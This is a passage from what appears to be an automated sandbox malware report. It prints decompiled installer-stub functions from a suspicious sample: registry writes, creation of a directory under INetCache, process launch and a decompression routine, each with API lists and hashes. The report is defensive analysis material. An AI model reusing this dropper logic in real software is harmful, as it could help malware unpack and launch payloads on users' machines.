                                      			E004023DE(void* __eax, int __ebx, intOrPtr __edx) {
                                      				void* _t20;
                                      				void* _t21;
                                      				int _t24;
                                      				long _t25;
                                      				int _t30;
                                      				intOrPtr _t33;
                                      				void* _t34;
                                      				intOrPtr _t37;
                                      				void* _t39;
                                      				void* _t42;
                                      
                                      				_t33 = __edx;
                                      				_t30 = __ebx;
                                      				_t37 =  *((intOrPtr*)(_t39 - 0x18));
                                      				_t34 = __eax;
                                      				 *(_t39 - 0x4c) =  *(_t39 - 0x14);
                                      				 *(_t39 - 0x3c) = E00402C37(2);
                                      				_t20 = E00402C37(0x11);
                                      				 *(_t39 - 4) = 1;
                                      				_t21 = E00402CC7(_t42, _t34, _t20, 2); // executed
                                      				 *(_t39 + 8) = _t21;
                                      				if(_t21 != __ebx) {
                                      					_t24 = 0;
                                      					if(_t37 == 1) {
                                      						E00402C37(0x23);
                                      						_t24 = lstrlenW(0x40b5a8) + _t29 + 2;
                                      					}
                                      					if(_t37 == 4) {
                                      						 *0x40b5a8 = E00402C15(3);
                                      						 *((intOrPtr*)(_t39 - 0x30)) = _t33;
                                      						_t24 = _t37;
                                      					}
                                      					if(_t37 == 3) {
                                      						_t24 = E004030FA( *((intOrPtr*)(_t39 - 0x1c)), _t30, 0x40b5a8, 0x1800);
                                      					}
                                      					_t25 = RegSetValueExW( *(_t39 + 8),  *(_t39 - 0x3c), _t30,  *(_t39 - 0x4c), 0x40b5a8, _t24); // executed
                                      					if(_t25 == 0) {
                                      						 *(_t39 - 4) = _t30;
                                      					}
                                      					_push( *(_t39 + 8));
                                      					RegCloseKey();
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *(_t39 - 4);
                                      				return 0;
                                      			}













                                      0x004023de
                                      0x004023de
                                      0x004023de
                                      0x004023e1
                                      0x004023e8
                                      0x004023f2
                                      0x004023f5
                                      0x004023fe
                                      0x00402405
                                      0x0040240c
                                      0x0040240f
                                      0x00402415
                                      0x0040241f
                                      0x00402423
                                      0x0040242e
                                      0x0040242e
                                      0x00402435
                                      0x0040243f
                                      0x00402445
                                      0x00402448
                                      0x00402448
                                      0x0040244c
                                      0x00402458
                                      0x00402458
                                      0x00402469
                                      0x00402471
                                      0x00402473
                                      0x00402473
                                      0x00402476
                                      0x00402551
                                      0x00402551
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx575C.tmp,00000023,00000011,00000002), ref: 00402429
                                      • RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,00000000,00000011,00000002), ref: 00402469
                                      • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,00000000,00000011,00000002), ref: 00402551
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CloseValuelstrlen
                                      • String ID: C:\Users\user\AppData\Local\Temp\nsx575C.tmp
                                      • API String ID: 2655323295-3669370704
                                      • Opcode ID: f9d37ecf99ac56edafcaa2f1cd47f4937662206fa3ab36d745cd74ad20f42250
                                      • Instruction ID: f6ab6de36865f89e990f87fcf60bb758a602a58abc301ab7ae12c482c30fe319
                                      • Opcode Fuzzy Hash: f9d37ecf99ac56edafcaa2f1cd47f4937662206fa3ab36d745cd74ad20f42250
                                      • Instruction Fuzzy Hash: 7C118171E00108BEEB10AFA5DE49EAEBAB8EB54354F11803AF505F71D1DBB84D419B58
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 86%
                                      			E004015C1(short __ebx, void* __eflags) {
                                      				void* _t17;
                                      				int _t23;
                                      				void* _t25;
                                      				signed char _t26;
                                      				short _t28;
                                      				short _t31;
                                      				short* _t34;
                                      				void* _t36;
                                      
                                      				_t28 = __ebx;
                                      				 *(_t36 + 8) = E00402C37(0xfffffff0);
                                      				_t17 = E00405BC8(_t16);
                                      				_t32 = _t17;
                                      				if(_t17 != __ebx) {
                                      					do {
                                      						_t34 = E00405B4A(_t32, 0x5c);
                                      						_t31 =  *_t34;
                                      						 *_t34 = _t28;
                                      						if(_t31 != _t28) {
                                      							L5:
                                      							_t25 = E004057FC( *(_t36 + 8));
                                      						} else {
                                      							_t42 =  *((intOrPtr*)(_t36 - 0x20)) - _t28;
                                      							if( *((intOrPtr*)(_t36 - 0x20)) == _t28 || E00405819(_t42) == 0) {
                                      								goto L5;
                                      							} else {
                                      								_t25 = E0040577F( *(_t36 + 8)); // executed
                                      							}
                                      						}
                                      						if(_t25 != _t28) {
                                      							if(_t25 != 0xb7) {
                                      								L9:
                                      								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
                                      							} else {
                                      								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
                                      								if((_t26 & 0x00000010) == 0) {
                                      									goto L9;
                                      								}
                                      							}
                                      						}
                                      						 *_t34 = _t31;
                                      						_t32 = _t34 + 2;
                                      					} while (_t31 != _t28);
                                      				}
                                      				if( *((intOrPtr*)(_t36 - 0x24)) == _t28) {
                                      					_push(0xfffffff5);
                                      					E00401423();
                                      				} else {
                                      					E00401423(0xffffffe6);
                                      					E0040624C(L"C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\spilplatform\\Thenceforth",  *(_t36 + 8));
                                      					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
                                      					if(_t23 == 0) {
                                      						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
                                      					}
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t36 - 4));
                                      				return 0;
                                      			}











                                      0x004015c1
                                      0x004015c9
                                      0x004015cc
                                      0x004015d1
                                      0x004015d5
                                      0x004015d7
                                      0x004015df
                                      0x004015e1
                                      0x004015e4
                                      0x004015ea
                                      0x00401604
                                      0x00401607
                                      0x004015ec
                                      0x004015ec
                                      0x004015ef
                                      0x00000000
                                      0x004015fa
                                      0x004015fd
                                      0x004015fd
                                      0x004015ef
                                      0x0040160e
                                      0x00401615
                                      0x00401624
                                      0x00401624
                                      0x00401617
                                      0x0040161a
                                      0x00401622
                                      0x00000000
                                      0x00000000
                                      0x00401622
                                      0x00401615
                                      0x00401627
                                      0x0040162b
                                      0x0040162c
                                      0x004015d7
                                      0x00401634
                                      0x00401663
                                      0x00402245
                                      0x00401636
                                      0x00401638
                                      0x00401645
                                      0x0040164d
                                      0x00401655
                                      0x0040165b
                                      0x0040165b
                                      0x00401655
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                        • Part of subcall function 00405BC8: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,?,00405C3C,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,?,?,77033420,0040597A,?,C:\Users\user\AppData\Local\Temp\,77033420,00000000), ref: 00405BD6
                                        • Part of subcall function 00405BC8: CharNextW.USER32(00000000), ref: 00405BDB
                                        • Part of subcall function 00405BC8: CharNextW.USER32(00000000), ref: 00405BF3
                                      • GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A
                                        • Part of subcall function 0040577F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 004057C2
                                      • SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth,?,00000000,000000F0), ref: 0040164D
                                      Strings
                                      • C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth, xrefs: 00401640
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CharNext$Directory$AttributesCreateCurrentFile
                                      • String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth
                                      • API String ID: 1892508949-3690038070
                                      • Opcode ID: be059b02de55be546dd79f47ecb03ede3c1f21afff9b80660869a8e6f73aef5a
                                      • Instruction ID: cf923580388ec08c1514b784e2bf170a85d63446f7292b2ca235e8bc108e1b76
                                      • Opcode Fuzzy Hash: be059b02de55be546dd79f47ecb03ede3c1f21afff9b80660869a8e6f73aef5a
                                      • Instruction Fuzzy Hash: 2E11BE31504105EBCF31AFA4CD0199F36A0EF15368B28493BFA45B22F2DA3E4D519B5E
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 90%
                                      			E0040611A(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
                                      				int _v8;
                                      				long _t21;
                                      				long _t24;
                                      				char* _t30;
                                      
                                      				asm("sbb eax, eax");
                                      				_v8 = 0x800;
                                      				_t21 = E004060B9(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
                                      				_t30 = _a16;
                                      				if(_t21 != 0) {
                                      					L4:
                                      					 *_t30 =  *_t30 & 0x00000000;
                                      				} else {
                                      					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8); // executed
                                      					_t21 = RegCloseKey(_a20); // executed
                                      					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
                                      					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
                                      						goto L4;
                                      					}
                                      				}
                                      				return _t21;
                                      			}







                                      0x00406128
                                      0x0040612a
                                      0x00406142
                                      0x00406147
                                      0x0040614c
                                      0x0040618a
                                      0x0040618a
                                      0x0040614e
                                      0x00406160
                                      0x0040616b
                                      0x00406171
                                      0x0040617c
                                      0x00000000
                                      0x00000000
                                      0x0040617c
                                      0x00406190

                                      APIs
                                      • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000002,?,00000000,?,?,Call,?,?,0040638E,80000002), ref: 00406160
                                      • RegCloseKey.KERNELBASE(?,?,0040638E,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll), ref: 0040616B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CloseQueryValue
                                      • String ID: Call
                                      • API String ID: 3356406503-1824292864
                                      • Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
                                      • Instruction ID: 8ef6f3e619af491bbf380fd7d91826ebef08e06ae3c58d0c48453c9b41c80383
                                      • Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
                                      • Instruction Fuzzy Hash: BF014872500209FBDF218F51C909ADB3BA8EB55364F01802AFD1AA61A1D678D964CBA4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00405831(WCHAR* _a4) {
                                      				struct _PROCESS_INFORMATION _v20;
                                      				int _t7;
                                      
                                      				0x4266f0->cb = 0x44;
                                      				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x4266f0,  &_v20); // executed
                                      				if(_t7 != 0) {
                                      					CloseHandle(_v20.hThread);
                                      					return _v20.hProcess;
                                      				}
                                      				return _t7;
                                      			}





                                      0x0040583a
                                      0x0040585a
                                      0x00405862
                                      0x00405867
                                      0x00000000
                                      0x0040586d
                                      0x00405871

                                      APIs
                                      • CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,004266F0,Error launching installer), ref: 0040585A
                                      • CloseHandle.KERNEL32(?), ref: 00405867
                                      Strings
                                      • Error launching installer, xrefs: 00405844
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CloseCreateHandleProcess
                                      • String ID: Error launching installer
                                      • API String ID: 3712363035-66219284
                                      • Opcode ID: 7638236436ef790ce86ec485bfd7c6daeab9176ea3d70cd1a4e3ce55c648647a
                                      • Instruction ID: 0b6998b7e6fa6c2388fbdd89280d1adf89017549f97d9b179fdab4837609bc7e
                                      • Opcode Fuzzy Hash: 7638236436ef790ce86ec485bfd7c6daeab9176ea3d70cd1a4e3ce55c648647a
                                      • Instruction Fuzzy Hash: ADE0BFB560020ABFEB109F65ED09F7B76ACFB14604F414535BD51F2150D7B4E8158A7C
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 99%
                                      			E00406D8B() {
                                      				signed int _t530;
                                      				void _t537;
                                      				signed int _t538;
                                      				signed int _t539;
                                      				unsigned short _t569;
                                      				signed int _t579;
                                      				signed int _t607;
                                      				void* _t627;
                                      				signed int _t628;
                                      				signed int _t635;
                                      				signed int* _t643;
                                      				void* _t644;
                                      
                                      				L0:
                                      				while(1) {
                                      					L0:
                                      					_t530 =  *(_t644 - 0x30);
                                      					if(_t530 >= 4) {
                                      					}
                                      					 *(_t644 - 0x40) = 6;
                                      					 *(_t644 - 0x7c) = 0x19;
                                      					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
                                      					while(1) {
                                      						L145:
                                      						 *(_t644 - 0x50) = 1;
                                      						 *(_t644 - 0x48) =  *(_t644 - 0x40);
                                      						while(1) {
                                      							L149:
                                      							if( *(_t644 - 0x48) <= 0) {
                                      								goto L155;
                                      							}
                                      							L150:
                                      							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
                                      							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
                                      							 *(_t644 - 0x54) = _t643;
                                      							_t569 =  *_t643;
                                      							_t635 = _t569 & 0x0000ffff;
                                      							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
                                      							if( *(_t644 - 0xc) >= _t607) {
                                      								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
                                      								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
                                      								_t628 = _t627 + 1;
                                      								 *_t643 = _t569 - (_t569 >> 5);
                                      								 *(_t644 - 0x50) = _t628;
                                      							} else {
                                      								 *(_t644 - 0x10) = _t607;
                                      								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
                                      								 *_t643 = (0x800 - _t635 >> 5) + _t569;
                                      							}
                                      							if( *(_t644 - 0x10) >= 0x1000000) {
                                      								L148:
                                      								_t487 = _t644 - 0x48;
                                      								 *_t487 =  *(_t644 - 0x48) - 1;
                                      								L149:
                                      								if( *(_t644 - 0x48) <= 0) {
                                      									goto L155;
                                      								}
                                      								goto L150;
                                      							} else {
                                      								L154:
                                      								L146:
                                      								if( *(_t644 - 0x6c) == 0) {
                                      									L169:
                                      									 *(_t644 - 0x88) = 0x18;
                                      									L170:
                                      									_t579 = 0x22;
                                      									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
                                      									_t539 = 0;
                                      									L172:
                                      									return _t539;
                                      								}
                                      								L147:
                                      								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
                                      								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                      								_t484 = _t644 - 0x70;
                                      								 *_t484 =  &(( *(_t644 - 0x70))[1]);
                                      								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                      								goto L148;
                                      							}
                                      							L155:
                                      							_t537 =  *(_t644 - 0x7c);
                                      							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
                                      							while(1) {
                                      								L140:
                                      								 *(_t644 - 0x88) = _t537;
                                      								while(1) {
                                      									L1:
                                      									_t538 =  *(_t644 - 0x88);
                                      									if(_t538 > 0x1c) {
                                      										break;
                                      									}
                                      									L2:
                                      									switch( *((intOrPtr*)(_t538 * 4 +  &M004071F9))) {
                                      										case 0:
                                      											L3:
                                      											if( *(_t644 - 0x6c) == 0) {
                                      												goto L170;
                                      											}
                                      											L4:
                                      											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                      											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                      											_t538 =  *( *(_t644 - 0x70));
                                      											if(_t538 > 0xe1) {
                                      												goto L171;
                                      											}
                                      											L5:
                                      											_t542 = _t538 & 0x000000ff;
                                      											_push(0x2d);
                                      											asm("cdq");
                                      											_pop(_t581);
                                      											_push(9);
                                      											_pop(_t582);
                                      											_t638 = _t542 / _t581;
                                      											_t544 = _t542 % _t581 & 0x000000ff;
                                      											asm("cdq");
                                      											_t633 = _t544 % _t582 & 0x000000ff;
                                      											 *(_t644 - 0x3c) = _t633;
                                      											 *(_t644 - 0x1c) = (1 << _t638) - 1;
                                      											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
                                      											_t641 = (0x300 << _t633 + _t638) + 0x736;
                                      											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
                                      												L10:
                                      												if(_t641 == 0) {
                                      													L12:
                                      													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
                                      													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
                                      													goto L15;
                                      												} else {
                                      													goto L11;
                                      												}
                                      												do {
                                      													L11:
                                      													_t641 = _t641 - 1;
                                      													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
                                      												} while (_t641 != 0);
                                      												goto L12;
                                      											}
                                      											L6:
                                      											if( *(_t644 - 4) != 0) {
                                      												GlobalFree( *(_t644 - 4)); // executed
                                      											}
                                      											_t538 = GlobalAlloc(0x40, 0x600); // executed
                                      											 *(_t644 - 4) = _t538;
                                      											if(_t538 == 0) {
                                      												goto L171;
                                      											} else {
                                      												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
                                      												goto L10;
                                      											}
                                      										case 1:
                                      											L13:
                                      											__eflags =  *(_t644 - 0x6c);
                                      											if( *(_t644 - 0x6c) == 0) {
                                      												L157:
                                      												 *(_t644 - 0x88) = 1;
                                      												goto L170;
                                      											}
                                      											L14:
                                      											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                      											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
                                      											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                      											_t45 = _t644 - 0x48;
                                      											 *_t45 =  *(_t644 - 0x48) + 1;
                                      											__eflags =  *_t45;
                                      											L15:
                                      											if( *(_t644 - 0x48) < 4) {
                                      												goto L13;
                                      											}
                                      											L16:
                                      											_t550 =  *(_t644 - 0x40);
                                      											if(_t550 ==  *(_t644 - 0x74)) {
                                      												L20:
                                      												 *(_t644 - 0x48) = 5;
                                      												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
                                      												goto L23;
                                      											}
                                      											L17:
                                      											 *(_t644 - 0x74) = _t550;
                                      											if( *(_t644 - 8) != 0) {
                                      												GlobalFree( *(_t644 - 8)); // executed
                                      											}
                                      											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
                                      											 *(_t644 - 8) = _t538;
                                      											if(_t538 == 0) {
                                      												goto L171;
                                      											} else {
                                      												goto L20;
                                      											}
                                      										case 2:
                                      											L24:
                                      											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
                                      											 *(_t644 - 0x84) = 6;
                                      											 *(_t644 - 0x4c) = _t557;
                                      											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
                                      											goto L132;
                                      										case 3:
                                      											L21:
                                      											__eflags =  *(_t644 - 0x6c);
                                      											if( *(_t644 - 0x6c) == 0) {
                                      												L158:
                                      												 *(_t644 - 0x88) = 3;
                                      												goto L170;
                                      											}
                                      											L22:
                                      											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                      											_t67 = _t644 - 0x70;
                                      											 *_t67 =  &(( *(_t644 - 0x70))[1]);
                                      											__eflags =  *_t67;
                                      											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                      											L23:
                                      											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
                                      											if( *(_t644 - 0x48) != 0) {
                                      												goto L21;
                                      											}
                                      											goto L24;
                                      										case 4:
                                      											L133:
                                      											_t559 =  *_t642;
                                      											_t626 = _t559 & 0x0000ffff;
                                      											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
                                      											if( *(_t644 - 0xc) >= _t596) {
                                      												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
                                      												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
                                      												 *(_t644 - 0x40) = 1;
                                      												_t560 = _t559 - (_t559 >> 5);
                                      												__eflags = _t560;
                                      												 *_t642 = _t560;
                                      											} else {
                                      												 *(_t644 - 0x10) = _t596;
                                      												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
                                      												 *_t642 = (0x800 - _t626 >> 5) + _t559;
                                      											}
                                      											if( *(_t644 - 0x10) >= 0x1000000) {
                                      												goto L139;
                                      											} else {
                                      												goto L137;
                                      											}
                                      										case 5:
                                      											L137:
                                      											if( *(_t644 - 0x6c) == 0) {
                                      												L168:
                                      												 *(_t644 - 0x88) = 5;
                                      												goto L170;
                                      											}
                                      											L138:
                                      											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
                                      											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                      											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                      											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                      											L139:
                                      											_t537 =  *(_t644 - 0x84);
                                      											L140:
                                      											 *(_t644 - 0x88) = _t537;
                                      											goto L1;
                                      										case 6:
                                      											L25:
                                      											__edx = 0;
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												L36:
                                      												__eax =  *(__ebp - 4);
                                      												__ecx =  *(__ebp - 0x38);
                                      												 *(__ebp - 0x34) = 1;
                                      												 *(__ebp - 0x84) = 7;
                                      												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                      												goto L132;
                                      											}
                                      											L26:
                                      											__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                      											__esi =  *(__ebp - 0x60);
                                      											__cl = 8;
                                      											__cl = 8 -  *(__ebp - 0x3c);
                                      											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                      											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                      											__ecx =  *(__ebp - 0x3c);
                                      											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                      											__ecx =  *(__ebp - 4);
                                      											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
